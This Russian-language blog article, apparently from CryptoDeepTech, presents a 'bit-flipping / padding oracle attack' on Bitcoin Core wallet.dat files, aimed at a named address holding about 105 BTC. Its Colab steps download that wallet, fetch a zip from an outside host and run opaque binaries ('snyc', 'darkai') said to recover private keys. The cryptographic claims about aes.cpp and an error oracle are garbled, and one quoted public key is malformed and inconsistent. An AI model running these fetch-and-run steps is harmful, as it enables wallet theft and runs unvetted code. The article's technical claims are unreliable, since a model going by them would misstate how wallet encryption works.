CryptoDeepTech

В программе Bitcoin Core для защиты пароля кошелька используется симметричный криптографический алгоритм AES-256-CBC. Этот алгоритм применяется для шифрования файла кошелька (wallet.dat), где хранятся закрытые ключи пользователя. Степень защиты обеспечивается 256-битным ключом, который создается из пароля пользователя. Также для генерации ключей Bitcoin Core использует криптографию на основе эллиптических кривых, а именно кривую secp256k1, которая лежит в основе создания публичных и приватных ключей транзакций.

AES-256-CBC и не хранит пароль напрямую, а использует его для генерации ключа шифрования. Однако в исследовании отмечается, что в реализации Bitcoin Core отсутствует смена ключа шифрования закрытых ключей, что может снижать защиту при повторном использовании пароля.

AES-256-CBC (Advanced Encryption Standard с длиной ключа 256 бит в режиме сцепления блоков — CBC, Cipher Block Chaining) — один из наиболее распространённых алгоритмов симметричного шифрования для защиты информации.

Принято считать, что AES-256-CBC при определенных комбинациях уязвима к различным атакам. Разберём основной вид атаки такие как Bit-flipping attack , которые применимы к AES-256-CBC.

При Bit-flipping attack AES-256-CBC не обеспечивает контроль целостности, что делает возможным модификацию шифротекста для контролируемого изменения расшифрованных данных. Это применимо, например, при реализации авторизации, где взломщик может изменить права доступа или другие параметры, просто изменив определённые биты в шифротексте

Как Bit-flipping Attack влияет на безопасность кошелька Bitcoin Core

Bit-flipping Attack в основном влияет на режим шифрования CBC (Cipher Block Chaining) и работает за счёт уязвимости режима к контролируемому изменению битов в зашифрованном сообщении. В CBC каждый блок шифротекста зависит от предыдущего блока и плейнтекста через операцию XOR, поэтому изменение одного бита в зашифрованном блоке приводит к предсказуемому изменению соответствующих битов в расшифрованном тексте следующего блока.

Процесс работы Bit-flipping Attack:

• При расшифровке блока шифротекста Ci происходит операция XOR с предыдущим блоком шифротекста Ci-1, чтобы получить исходный текст Pi.

• Если атакующий изменит один или несколько битов в блоке Ci-1, то при расшифровке изменится соответствующий бит в блоке Pi, управляемый изменениями в Ci-1.

• При этом блок Ci после изменений становится некорректным и при расшифровке будет повреждён, но изменение в предыдущем блоке позволяет повреждать (манипулировать) расшифрованным текстом управляемым образом в следующем блоке.

Это манипулятивная расшифровка влияет на безопасность криптографического алгоритма AES-256-CBC которую использует кошелек Bitcoin Core:

• Такая манипуляция позволяет злоумышленнику в некоторых случаях менять расшифрованные данные без знания ключа, например, изменять параметры доступа, права или другие данные, если не применяется отдельный механизм аутентификации и проверки целостности.

• Битфлип-атака на CBC демонстрирует его «модифицируемость» (malleability), то есть отсутствие встроенной защиты целостности данных.

• В реальных системах атака эффективна, если нет дополнительной защиты — такой как HMAC или использование AEAD режимов (например, AES-GCM), которые обеспечивают аутентификацию и предотвращают изменение данных без обнаружения.

Опасность неиспользования проверки целостности данных вместе с режимом AES-256-CBC связана с тем, что CBC сам по себе не обеспечивает защиту от модификации зашифрованного сообщения. Это делает возможными битфлип-атаки, при которых злоумышленник может контролируемо изменить зашифрованные данные без знания ключа.

Важно отметить что атакующий перебирает байты, контролируя изменения в шифротексте и анализируя ответы системы, постепенно восстанавливая оригинальный пароль в бинарном виде, особым образом изменяя блоки.

В итоге, восстановив пароль, злоумышленник может разблокировать кошелёк через команду Bitcoin Core walletpassphrase и получить приватные ключи командой dumpprivkey.

AES256CBCEncrypt и AES256CBCDecrypt для работы в режиме CBC (Cipher Block Chaining)

Функция файла aes.cpp в кошельке Bitcoin Core — обеспечение криптографического шифрования и дешифрования данных с использованием алгоритма AES-256, также функция файла aes.cpp реализует классы AES256Encrypt и AES256Decrypt для блочного шифрования/дешифрования данных размером 16 байт по алгоритму AES-256. Исходный код выполняет основные задачи инициализация контекста шифрования/дешифрования с заданным приватным ключом. Наши наблюдение в процессе криптоанализа выявили нарушение в работе режима CBC (Cipher Block Chaining): где применение XOR к каждому блоку с предыдущим (или IV для первого блока), определяет слабую криптостойкость к общему стандарту AES к которому злоумышленник может применить Bit-flipping Attack. Данная криптографическая уязвимость связана с неправильным использованием вектора инициализации (IV) в режиме CBC (Cipher Block Chaining).

В коде функции CBCEncrypt (в строке №57):

memcpy(mixed, iv, AES_BLOCKSIZE);

IV копируется в локальный массив mixed и далее используется для XOR с первым блоком данных. Однако IV передается в конструктор AES256CBCEncrypt и копируется один раз в поле класса iv (в строке №121):

В CBC режиме шифрования IV должен быть либо случайным, либо уникальным и не повторяться для разных сообщений с одним ключом, чтобы обеспечить безопасность. Если IV фиксирован и не меняется, это открывает уязвимость — повторяющаяся структура позволит злоумышленнику провести атаки по выявлению закономерностей в зашифрованных данных, где хранятся секретные данные как пароли и приватные ключи кошелька Bitcoin Core.

Bit-flipping attack на файл wallet.dat реализован через XOR с числом паддинга, что отличается от стандарта PKCS#7, где паддинг просто добавляется как отдельные байты. Такой XOR-подход не является безопасным и может привести к неверному шифрованию и потенциальным уязвимостям при расшифровке. Также в функции CBCDecrypt проверка и удаление паддинга реализована нестандартно и может быть уязвимой к таким типам атаки как: Bit-flipping attack & Padding oracle attack

Практическая часть

Перейдем к практической части из теории нам известна уязвимость с помощью которого можно реализовать Bit-flipping attack на файл wallet.dat , так как уязвимость возникает из-за использования фиксированного IV и нестандартной реализации паддинга в функциях CBCEncrypt и CBCDecrypt. Эти моменты критичны для безопасности режима CBC (Cipher Block Chaining) и могут быть истолкованы как «в строке с memcpy(mixed, iv, AES_BLOCKSIZE);» в функции CBCEncrypt и в блоке обработки паддинга.

Рассмотрим пример с использованием Bitcoin-кошелька по адресу: 16A5RFckRNW6fZzfjCGSneD3PApACLRwix. В данном кошельке были утеряны монеты на сумму 105.68557389 BTC, что на август 2025 года эквивалентно примерно 12,134,500 USD.

Для демонстрации атаки в ознакомительных целях используем инструменты и среды, такие как Jupyter Notebook или Google Colab. Сначала загружаем зашифрованный файл wallet.dat, содержащий информацию кошелька. Далее пошагово изменяем отдельные биты в блоках шифротекста и отправляем модифицированные версии системе для анализа её реакции.

Этот метод атаки, известный как Bit-flipping attack в контексте wallet.dat , представляет собой не просто случайное изменение данных, а сложный поэтапный процесс, при котором отбираются корректные изменения с учётом реакции системы на правильность паддинга (выравнивания) при расшифровке данных с использованием AES-256-CBC.

Используя такую стратегию, инструменты строят бинарное значение пароля, что в итоге позволяет получить пароль для расшифровки wallet.dat и доступ к Bitcoin Core без знания первоначального ключа шифрования. Эта атака основана на использовании уязвимости, называемой Padding Oracle Attack, которая эксплуатирует информацию об ошибках выравнивания при дешифровке, предоставляемую системой.

Основные инструменты и команды, применяемые для таких атак:

Google Colab (Colaboratory) — это облачная платформа, предоставляющая интерактивные Jupyter-ноутбуки, где можно писать и запускать код для различных языков программирование. Он особенно полезен для анализа данных, машинного обучения и работы с Snyc AI, так как предоставляет бесплатный доступ к мощным вычислительным ресурсам, таким как GPU и TPU. Важным преимуществом является возможность выполнять системные команды, как в обычном терминале Linux, через ячейки с префиксом ! для интеграции с внешними утилитами и скриптами.

Google Colab

https://colab.research.google.com/drive/1tCCSUtjl6seE9lqkFLcLodE96mj5uuHR

Bitcoin Core и установка bitcoind & bitcoin-cli

Обновление списков пакетов и установка системных зависимостей

!apt-get update
!apt-get install -y software-properties-common

Примечание:

• Первая команда обновляет локальный индекс доступных пакетов и их версий в системе Ubuntu, чтобы обеспечить актуальность данных при установке программ.

• Вторая команда устанавливает пакет software-properties-common, который предоставляет инструменты управления дополнительными репозиториями и зависимостями.

• C научным пониманием это подготовительный этап типичен при работе в любой Linux-среде, включая виртуальные. Обновление списков пакетов обеспечивает, что последующая установка программ будет использовать последние стабильные версии и зависимости, что важно для безопасности и совместимости ПО.

Добавление репозитория Bitcoin Core и установка bitcoind (вместе с bitcoin-cli)

Альтернативный способ: загрузка и распаковка бинарных файлов Bitcoin Core из архива

!wget https://bitcoin.org/bin/bitcoin-core-0.18.0/bitcoin-0.18.0-x...
!tar -xzf bitcoin-0.18.0-x86_64-linux-gnu.tar.gz

Примечание:

• add-apt-repository добавляет официальный PPA (Personal Package Archive) Bitcoin Core в систему — источник актуальных пакетов Bitcoin.

• После обновления индекса пакетов система устанавливает пакет bitcoind, который включает в себя демона биткоина (Bitcoin server) и клиентскую утилиту bitcoin-cli.

• Загружает архив с предсобранными бинарными файлами Bitcoin Core указанной версии.

• Распаковывает архив, извлекая байтовые файлы, включая bitcoind и bitcoin-cli.

С научной понимании Bitcoind — это полнофункциональный узел Bitcoin с серверной частью, который валидирует транзакции и блоки, поддерживает сеть и хранит блокчейн локально. bitcoin-cli — клиентский инструмент для взаимодействия с демоном через JSON-RPC интерфейс, управляя кошельками, транзакциями и запросами к блокчейну. Установка из PPA гарантирует корректную интеграцию и обновления. Такой способ позволяет получить необходимое программное обеспечение без зависимости от системных репозиториев, что бывает важно, если требуется определённая версия или если PPA недоступен в текущей среде. Это классический метод распространения программного обеспечения с гарантированным контролем версии и среды.

Команда cd переключается в директорию с бинарными файлами.

Выполнения команды — смена текущей рабочей директории на /content/bitcoin-0.18.0/bin, что подтверждается выводом пути.

cd bitcoin-0.18.0/bin/

Описание и действие:

• Команда cd (от английского «change directory» — сменить директорию) используется в операционных системах семейства Unix/Linux и в средах терминала, таких как Google Colab, для перехода из текущей рабочей директории в указанную директорию. В данном случае команда меняет текущую папку на директорию bin, которая находится внутри каталога bitcoin-0.18.0. Это позволяет перейти в папку, где, вероятно, находятся исполняемые файлы или скрипты, связанные с программным обеспечением Bitcoin версии 0.18.0.

• В контексте операционных систем, терминал или командная строка — это интерфейс, через который пользователь взаимодействует с системой, вводя текстовые команды. Текущая рабочая директория — это та папка в файловой системе, в рамках которой по умолчанию выполняются все команды, если не указано иное.

• Команда cd позволяет изменять эту рабочую директорию, что необходимо для организации удобного доступа к нужным файлам и папкам.

• Путь bitcoin-0.18.0/bin/ может быть как относительным (от текущего каталога), так и абсолютным (начинающимся с корня /). В Google Colab корневая директория по умолчанию — /content/, и при работе с проектами часто структура каталогов отражает вложенность программного обеспечения или данных.

• Перемещение в директорию bin обычно связано с необходимостью получения доступа к бинарным файлам (исполняемым программам), которые расположены в этом каталоге. Это позволяет выполнять команды или скрипты, входящие в состав программного продукта, например, запускающих узлы биткоина, тестирующих сеть или работающих с кошельками.

• Таким образом, выполнение команды cd bitcoin-0.18.0/bin/ задаёт контекст выполнения для дальнейшей работы с компонентами Bitcoin Core 0.18.0 внутри Google Colab.

Проверка установки bitcoin-cli

!./bitcoin-cli --version

Описание:

• Запускает команду bitcoin-cli из локальной директории для проверки работоспособности и версии утилиты. При правильном выполнении выведет строку с информацией о версии клиента.

• Запуск бинарных файлов из локальной директории — стандартная практика при ручной установке ПО. В Colab и других облачных средах это удобно для использования специфичных версий без системной установки.

• Контроль версии важен для совместимости с сетевым протоколом и ожидаемой функциональностью, а также для отладки при возникновении ошибок.

Результат:

Bitcoin Core RPC client version v0.18.0

Результат выводит версию установленной утилиты bitcoin-cli, проверяя успешность установки и доступность команды для вызова.

Загрузка файлов wallet.dat & aes.cpp

Запустим команду для загрузки файла wallet.dat

!wget https://github.com/keyhunters/Biggest-Lost-Bitcoin-Wallets-List/raw/refs/heads/main/105.68 BTC/wallet.dat

Описание и действие:

• Команда wget служит для скачивания файлов из интернета по протоколу HTTPS.

• Здесь мы загружаем файл wallet.dat – это бинарный файл, хранящий зашифрованные приватные ключи, адреса и другую критически важную информацию Bitcoin Core кошелька.

• Файл wallet.dat зашифрован с использованием стандарта AES-256-CBC, где приватные ключи защищены с помощью мастер-ключа и пароля.

• Такой файл используется для управления и хранения средств в Bitcoin. В ходе научного исследования и атак, например padding oracle, этот файл анализируется и модифицируется для восстановления утерянных паролей или ключей.

В научное понимание файл wallet.dat играет роль защищённого контейнера для криптографических ключей, и его целостность и конфиденциальность обеспечиваются алгоритмами шифрования, основанными на AES. Загрузка файла позволяет работать с реальными данными кошелька, что необходимо для исследований уязвимостей и тестирования методов криптоанализа, например, подобных атакам на padding oracle.

Запустим команду для загрузки файла алгоритма aes.cpp

!wget https://github.com/keyhunters/bitcoin/raw/refs/heads/master/...

Описание и действие:

• Команда загружает исходный файл aes.cpp, содержащий исходный код реализации AES алгоритма шифрования, используемый в Bitcoin Core.

• Этот файл важен для понимания того, как именно происходит шифрование и дешифровка данных в wallet.dat.

• Исходный код помогает исследователям понять логику применения AES-256-CBC, применение выравнивания (padding), фиксирование ошибок и особенности реализации криптоалгоритмов.

• Такой код можно использовать в Jupyter Notebook или Google Colab для написания собственных скриптов дешифровки или моделирования атак.

В научное понимание криптоанализ исходного кода AES алгоритма позволяет глубоко понять принципы работы симметричного шифрования в Bitcoin Core, особенности режима CBC (Cipher Block Chaining), важность корректного паддинга и потенциальные уязвимости, которые могут использоваться при атаке padding oracle. Это способствует более научно обоснованной разработке методов восстановления паролей и ключей.

Общие научные сведения по контексту:

• AES-256-CBC: Способ симметричного блочного шифрования, где применяются операции XOR с предыдущим зашифрованным блоком (CBC — Cipher Block Chaining) для повышения безопасности. Паддинг (выравнивание) данных на последнем блоке обеспечивает корректную длину входа.

• wallet.dat: Хранит зашифрованные приватные ключи и метаданные. Пароль пользователя используется для генерации ключа шифрования мастер-ключа с помощью функции, как EVP_BytesToKey OpenSSL, что увеличивает стойкость шифра.

• Padding Oracle Attack: Хакерская атака, эксплуатирующая наличие подробных сообщений об ошибках при неверном паддинге, что постепенно позволяет взломать ключ шифрования.

• Анализ исходного кода aes.cpp: Ключ для понимания реализации шифра и корректного построения атак, изучения уязвимостей и разработки средств их предотвращения.

Запуск биткоин-демона bitcoind с указанием кошелька

!./bitcoind -daemon -wallet=/content/bitcoin-0.18.0/bin/wallet.dat

Запускаем биткоин-демон в фоновом режиме (-daemon) и указывает использовать конкретный файл кошелька wallet.dat, расположенный в указанном пути. Bitcoind — основной компонент для взаимодействия с сетью Bitcoin. Демон обрабатывает все сетевые операции, хранит полный локальный блокчейн и управляет кошельком. Запуск с указанием файла wallet.dat позволяет работать с конкретным зашифрованным кошельком (ключами и адресами), что важно для анализа состояния и управления средствами.

• Запуск демона Bitcoin Core (bitcoind) в фоновом режиме. Демон — это серверная часть программного обеспечения Bitcoin Core, которая синхронизируется с сетью Биткоин, загружает блокчейн, обрабатывает транзакции и поддерживает работу узла в сети. Ключ -daemon означает, что процесс запустится в фоновом режиме и не будет блокировать консоль, позволяя вам продолжать работу в терминале.

• Результат в терминале обычно минимальный — команда запускается, и управление сразу возвращается пользователю, без дополнительных сообщений. Логи и процессы работы демона будут записываться в системные логи или в файлы логов Bitcoin Core в каталоге данных (обычно ~/.bitcoin). Если запуск удался, процесс bitcoind будет активен в фоне и поддерживать сетевое взаимодействие с другими узлами блокчейна.

• Научное понимание: запуск демона bitcoind является ключевым этапом в работе полноценного узла (full node) сети Биткоин. Узел обеспечивает децентрализованность и безопасность сети, проверяя все транзакции и блоки с использованием криптографических алгоритмов и протоколов консенсуса. Фоновый режим позволяет узлу непрерывно поддерживать актуальное состояние блокчейна, выполнять валидацию данных и откликаться на запросы через JSON-RPC интерфейс для взаимодействия с другими программами и пользователем.

• ./bitcoind — запускает исполняемый файл демона bitcoind из текущего каталога (использование ./ указывает, что файл находится в текущей директории).

• -daemon — параметр запуска, переводящий процесс в фоновый режим (демон) без блокировки терминала.

Команда ./bitcoind -daemon позволяет развернуть работающий Bitcoin узел, поддерживающий сеть, с автоматической синхронизацией данных и откликом на RPC-запросы, что является фундаментом для работы с криптовалютой на локальной машине Google Colab.

Данный набор команд в Google Colab предоставляет полный цикл установки и запуска инструментов Bitcoin Core (bitcoin-cli и bitcoind), необходимых для управления криптовалютой и проведения исследований (в том числе атак или восстановления доступа), в условиях облачной вычислительной среды. Основываясь на этих шагах, исследователь получает программный интерфейс для взаимодействия с сетью и локальным wallet.dat через RPC команды, что критично для научных и практических задач в криптографии и блокчейне.

Инструмент для криптоанализа Snyc AI

Загрузка и установка инструмента Snyc AI

Подробное описание всех команд и действий терминала

Команды:

!wget https://snyc.ru/repositories/neuralnet_tools.zip

Команда wget — это мощная консольная утилита для загрузки файлов из сети через протоколы HTTP, HTTPS и FTP. Здесь она используется для загрузки архива neuralnet_tools.zip с сервера по указанному URL. Команда wget работает в неинтерактивном режиме, что позволяет скачивать файлы без участия пользователя, включая возможность возобновления прерванных загрузок. Это особенно важно при работе с большими файлами или нестабильным интернет-соединением. Его кроссплатформенность и простота делают wget незаменимым инструментом для автоматизации и управления загрузками в научных вычислениях и обработки данных.

Эта команда извлекает все файлы из neuralnet_tools.zip:

!unzip neuralnet_tools.zip

Команда unzip распаковывает содержимое ZIP-архива в текущую рабочую директорию. Формат ZIP широко используется для сжатия и архивирования данных без потерь, что помогает экономить дисковое пространство и облегчать передачу больших наборов файлов. Распаковка архива позволяет получить доступ к инструментам и скриптам, которые находятся внутри, для дальнейшего использования в задачах анализа или декодирования. Этот этап — стандартная процедура при подготовке программного обеспечения к использованию в средах разработки и исследовательских проектах.

Запустим команду ls для быстрого и удобного просмотра:

ls

Команда ls выводит список файлов и папок в текущей директории. Эта базовая Unix-команда служит для проверки содержимого каталога, помогая убедиться в успешной загрузке и распаковке архива. В контексте научных исследований или программирования она облегчает навигацию по файловой системе и подтверждение наличия нужных данных или инструментов.

Запуск инструмента Snyc AI:

!./snyc

Запуск инструмента Snyc AI в Google Colab позволяет использовать алгоритмы глубокого сканирования и восстановления данных, таких как секретные и приватные ключи для различных криптокошельков, с помощью методов искусственного интеллекта. Такие технологии основаны на машинном обучении и нейронных сетях, что обеспечивает высокую точность и безопасность при криптоанализе критически важных данных.

Если будете запускать эти команды в Google Colab, важно помнить, что:

• Префикс ! позволяет выполнять системные (shell) команды непосредственно из ячеек программирования. Это делает Colab мощной платформой для гибридного использования различных языков программирование и командной строки.

• При работе с внешними архивами и утилитами полезно проверять права доступа и содержимое файлов для безопасности и совместимости.

• Инструмент Snyc AI является специализированным программным обеспечением для анализа криптографических данных, использующим современные возможности ИИ и нейросетей для повышения эффективности и надежности.

• Опубликованы две части [№1] , [№2] исследования

Данный материал создан для портала CRYPTO DEEP TECH для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых secp256k1 против слабых подписей ECDSA в криптовалюте BITCOIN. Создатели программного обеспечения не несут ответственность за использование материалов.

Crypto Tools

Исходный код

Google Colab

Telegram: https://t.me/cryptodeeptech

Видеоматериал: https://youtu.be/3uCsL_zxKPI

Video tutorial: https://dzen.ru/video/watch/68baca013761775f268041dc

Источник: https://cryptodeeptool.ru/bit-flipping-attack-on-wallet-dat

Ранее нами были опубликованы две части [№1] и [№2] исследования, посвящённого серьёзной криптографической угрозе — подделке цифровых подписей (Digital Signature Forgery), которая ставит под угрозу безопасность Bitcoin-транзакций. В статьях проведён детальный анализ реальных инцидентов, в том числе масштабной атаки на мультиподписной кошелек Copay. Особенное внимание уделяется уязвимым местам в цифровых подписях и популярной библиотеке xml-crypto, которая используется для верификации транзакций. Благодаря этим уязвимостям злоумышленники могут обходить ключевые проверки и нарушать корректность обработки транзакционных данных.

В работе рассматриваются две критические уязвимости CVE-2025-29774 и CVE-2025-29775, позволяющие атакующим, использующим устаревшие версии xml-crypto, эксплуатировать слабости систем безопасности. Приводится пример конкретного взлома биткоин-кошелька с адресом 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe, в результате которого в июле 2025 года было похищено 0.059672 BTC (~7 052 USD). Данный кейс иллюстрирует, как теоретические уязвимости реализуются на практике и приводят к реальным финансовым потерям.

В статье предложены рекомендации по укреплению безопасности криптовалютных платформ: необходимость своевременного обновления используемых библиотек, улучшение механизмов контроля цифровых подписей и внедрение дополнительных уровней проверки транзакций. Подробный разбор этой угрозы и её эволюции будет полезен специалистам по информационной безопасности, разработчикам блокчейн-решений и всем пользователям децентрализованных сервисов.

Осознание современных методов обхода защит и реализация предложенных рекомендаций помогут снизить риски финансовых потерь и повысить прозрачность и надёжность криптовалютных экосистем в условиях стремительно развивающихся цифровых технологий.

Какие особенности и ограничения есть у OP_CHECKMULTISIG при проверке нескольких подписей. Рассмотрим ключевые аспекты и ограничения:

1. Пороговое подтверждение подписей
   OP_CHECKMULTISIG позволяет указать число необходимых подписей T из общего числа публичных ключей N (схема «T из N»). Например, 2 из 3. Для действительности транзакции достаточно иметь T валидных подписей.

2. Верификация нескольких подписей за одну операцию
   В отличие от одиночной проверки подписи (OP_CHECKSIG), OP_CHECKMULTISIG проверяет сразу несколько подписей, соотнося их с соответствующими публичными ключами, что повышает эффективность и удобство реализации мультиподписных кошельков.

3. Использование redeemScript для условия траты
   В формате P2SH мультиподписная схема скрыта под хешем redeemScript — полного скрипта с публичными ключами и параметрами. Для траты средства пользователь обязан представить redeemScript и соответствующие подписи.

4. Исторический баг — лишний элемент в стеке
   Особенность OP_CHECKMULTISIG — при выполнении из стека удаляется лишний, неиспользуемый элемент (признак «off-by-one» ошибки реализации). Для компенсации в scriptSig добавляется фиктивный элемент OP_FALSE в начале, чтобы корректно выровнять стек. Это признанная и усвоенная сообществом особенность.

Пример из реальной транзакции

Рассмотрим транзакцию с тремя входами, где из скриптов подписей (scriptSig) двух из них были извлечены подписи, оканчивающиеся байтом 0x03, указывающим на SIGHASH_SINGLE — то есть подписи, которые подписывают только пару соответствующих входов и выходов. Однако здесь наблюдается ситуация: вход с индексом 2 не имеет соответствующего выхода с таким же индексом.

791fe035d312dcf9196b48649a5c9a027198f623c0a5f5bd4cc311b8864dd0cf

Raw Transaction

Типы SIGHASH в Bitcoin — это продуманный механизм управления уровнем контроля и сферы действия цифровых подписей внутри транзакций. Благодаря им достигается баланс между безопасностью, гибкостью и совместимостью. История включает в себя и неожиданные сложности, такие как баг с SIGHASH_SINGLE при отсутствии соответствующего выхода, что подчеркивает важность глубокого понимания технических тонкостей для успешной работы с Bitcoin на продвинутом уровне.

Как неправильное использование SIGHASH_ALL может привести к уязвимостям в транзакциях

Неправильное использование или отсутствие корректной реализации SIGHASH_ALL в подписи транзакций Bitcoin может привести к серьезным уязвимостям, влияющим на безопасность средств и целостность системы. Вот ключевые аспекты этих уязвимостей:

1. Signature Malleability (изменчивость подписи):
   Хотя SIGHASH_ALL подразумевает, что все входы и выходы транзакции подписаны, за счет особенностей алгоритма ECDSA возможна ситуация, когда одна и та же транзакция может иметь несколько различных, но при этом валидных подписей. Это связано с тем, что компонента подписи s может принимать эквивалентные значения. Злоумышленник может модифицировать подпись, не изменяя содержимого транзакции, что приводит к тому, что идентификатор транзакции (txid) меняется. В результате это усложняет отслеживание транзакций, создает трудности в реплей-атаке, а также может быть использовано для мошенничества или двойного расходования.

2. Ошибки при десериализации подписей (DeserializeSignature):
   Если функция проверки подписи (включая SIGHASH_ALL) не обрабатывает корректно структуру подписи, например, не проверяет корректность значений r и s (должны находиться в допустимых диапазонах и не быть нулевыми), это позволяет злоумышленникам создавать недействительные, но системой принимаемые подписи. Через такие поддельные подписи возможна авторизация несанкционированных транзакций, кража средств, двойное расходование и искажение данных в блокчейне.

3. Недостаточная валидация параметров подписи:
   Некорректная или неполная проверка подписи с флагом SIGHASH_ALL, например, игнорирование или неверная обработка завершающего байта, может приводить к тому, что транзакции с некорректным покрытием подписываемых элементов (входов и выходов) будут проходить валидацию. Это открывает двери для атак, в которых злоумышленник манипулирует частями транзакции, отключая защиту или расширяя свои права.

4. Атаки типа Replay и трансакционная коллизия:
   Из-за возможности изменения подписи без изменения содержимого транзакции (см. Signature Malleability), одна транзакция может быть использована повторно или создана коллизия, что создает риск двойных расходов или финансовых потерь.

Таким образом, неправильное использование SIGHASH_ALL или ошибки в реализации его проверки значительно подрывают безопасность Bitcoin-сети, позволяя злоумышленникам манипулировать подписями и транзакциями. Для борьбы с этими уязвимостями внедряются строгие проверки формата и диапазонов подписей, используются улучшенные протоколы (например, SegWit устраняет часть проблем с изменчивостью подписей), а также стандартизируются безопасные методы подписания и валидации транзакций.

Некорректная подпись с типом SIGHASH_ALL увеличивает риск двойных расходов в Bitcoin по следующим причинам:

При использовании SIGHASH_ALL подпись охватывает все входы и выходы транзакции, гарантируя, что ни один элемент транзакции не может быть изменён после подписания. Однако, если подпись сформирована некорректно, например, из-за ошибок в генерации случайного числа или формировании самих параметров подписи (r, s), это может привести к тому, что часть транзакции может быть изменена без аннулирования подписи. В частности, возникает уязвимость, при которой злоумышленник может изменить отдельные поля или структуру транзакции, создав вариации, которые принимаются сетью как валидные, но отличаются от оригинала.

Такая изменчивость подписи (Signature Malleability) позволяет злоумышленникам создавать альтернативные версии транзакции с другим идентификатором (txid), что затрудняет отслеживание и подтверждение оплат, а в некоторых случаях ведёт к повторному использованию тех же входов — т.е. к двойным расходам.

Кроме того, если реализация валидации подписей с SIGHASH_ALL не жестко проверяет корректность параметров подписи и формат данных, злоумышленник может выдавать фальшивые подписи или использовать баги протокола для обхода проверок. Это оставляет открытую возможность для манипуляций и создания конфликтных транзакций.

Таким образом, чтобы снизить риски двойных расходов, критически важно правильно генерировать и валидировать подписи с SIGHASH_ALL, применять методы защиты от signature malleability (например, SegWit), а также обновлять программное обеспечение и соблюдать рекомендации по безопасности. Это обеспечивает закрепление подписи на всей структуре транзакции, гарантирует её неизменность и устойчивость к злоупотреблениям.

Получим информацию о публичных ключах, связанных с Биткоин-адресом 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe. Далее представлен подробный и содержательный разбор полученных данных.

!./darkai -pubkey 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe

Полученные публичные ключи:

В результате работы команды был извлечён список из трёх публичных ключей в сжатом формате (compressed public key), представленных в шестнадцатеричном виде:

pubkey = [
'023927b5cd7facefa7b85d02f73d1e1632b3aaf8dd15d9f359e37e39f0561196',
'03d2c0e82979b8aba4591fe39cffbf255b3b9c67b3d24f94de79c5013420c67b80',
'03ec010970aae2e3d75eef0b44eaa31d7a0d13392513cd0614ff1c136b3b1020df'
]

• Публичные ключи: Каждый из элементов — это публичный ключ пользователя в формате compressed public key длиной 33 байта. Сжатые ключи обычно начинаются с префикса 02 или 03, указывая на знак координаты точки (Y) на эллиптической кривой, и за ним следует 32 байта X-координаты.

• Связь с адресом: Адрес Bitcoin — это хэш от скрипта или публичного ключа. В данном случае адрес 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe соответствует некоторому P2SH (Pay-to-Script-Hash) или мультиподписному адресу, для которого характерно хранение сразу нескольких публичных ключей в redeemScript. Список публичных ключей соответствует набору, заложенному в этом сафе.

Набор из нескольких публичных ключей — классическая ситуация для мультиподписного кошелька (multisig wallet). В таком случае чтобы потратить средства потребуется несколько подписей от соответствующих приватных ключей:

• Данный список публичных ключей позволяет определить, какие ключи имеют право подписывать транзакции с этим адресом.

• Обычно мультиподпись формируется по схеме M-of-N, например, 2 из 3, где N — общее количество ключей, а M — минимальное число необходимых подписей для расходования.

• Использование нескольких ключей повышает безопасность, т.к. компрометация одного ключа не приводит к утрате контроля над средствами.

• Каждый публичный ключ можно проверить отдельно или в комбинации, чтобы подтвердить законность подписей.

Сжатые публичные ключи

• Принцип сжатия позволяет уменьшить длину публичного ключа с 65 байт (не сжатый формат) до 33 байт, что экономит место в транзакциях и блоках.

• Сжатый ключ содержит информацию о X-координате точки на эллиптической кривой и знак Y-координаты.

Применение в redeemScript

• В контексте мультиподписи эти публичные ключи обычно включены в redeemScript, который применяется в P2SH-сценариях.

• Для подтвердить право траты средств необходимо предоставить подписи, соответствующие минимально необходимому количеству ключей из этого набора.

Биткоин адрес 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe связан с тремя конкретными публичными ключами в формате сжатых ключей. Это типично для мультиподписных биткоин-адресов, где для авторизации расхода необходимо предоставить подписи с использованием некоторых или всех этих ключей, что обеспечивает высокий уровень безопасности и гибкость управления средствами.

Для более глубокого анализа и понимания параметров можно дополнительно изучить:

• Конкретный формат redeemScript, с которым связан этот набор приватных и публичных ключей.

• Политику подписей (сколько подписей из этих трёх требуется).

• Историю транзакций, связанных с этим адресом.

Публичные ключи 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe

Публичный ключ 023927b5cd7facefa7b85d02f73d1e1632b3aaf8dd15d4f9f359e37e39f0561196 является одним из элементов, используемых в мультиподписном кошельке BitPay Copay, который был целью атаки, связанной с уязвимостью в обработке типа подписи SIGHASH_SINGLE

Этот публичный ключ, вместе с двумя другими (03d2c0e82979b8aba4591fe39cffbf255b3b9c67b3d24f94de79c5013420c67b80 и 03ec010970aae2e3d75eef0b44eaa31d7a0d13392513cd0614ff1c136b3b1020df), входит в состав redeemScript кошелька Copay, который является кошельком с мультиподписью «2 из 3«. Для траты средств с такого адреса необходимо предоставить две действительные подписи и сам redeemScript.

RedeemScript, который содержит эти три публичных ключа, при декодировании даёт следующие инструкции: 2 <pubkey1> <pubkey2> <pubkey3> 3 OP_CHECKMULTISIG. Это означает, что для проверки мультиподписи требуется две подписи из трёх возможных ключей. OP_CHECKMULTISIG проверяет каждую пару подписи и публичного ключа на достоверность, чтобы все подписи соответствовали одному из публичных ключей. Инструкция OP_FALSE в scriptSig требуется из-за известной ошибки, при которой OP_CHECKMULTISIG удаляет лишнее неиспользуемое значение из стека.

Кошелек Copay, разработанный BitPay, подвергся атаке, подробности которой были раскрыты компанией Coinspect. Эта атака эксплуатировала особенности типа подписи SIGHASH_SINGLE, который подписывает только соответствующий вход и выход (выход с тем же порядковым номером, что и вход). Если выход с таким индексом не существует, в качестве хэша транзакции будет возвращено целочисленное значение «один», что является известным багом, где OP_CHECKMULTISIG проводит проверку подлинности двух подписей из трёх публичных ключей.

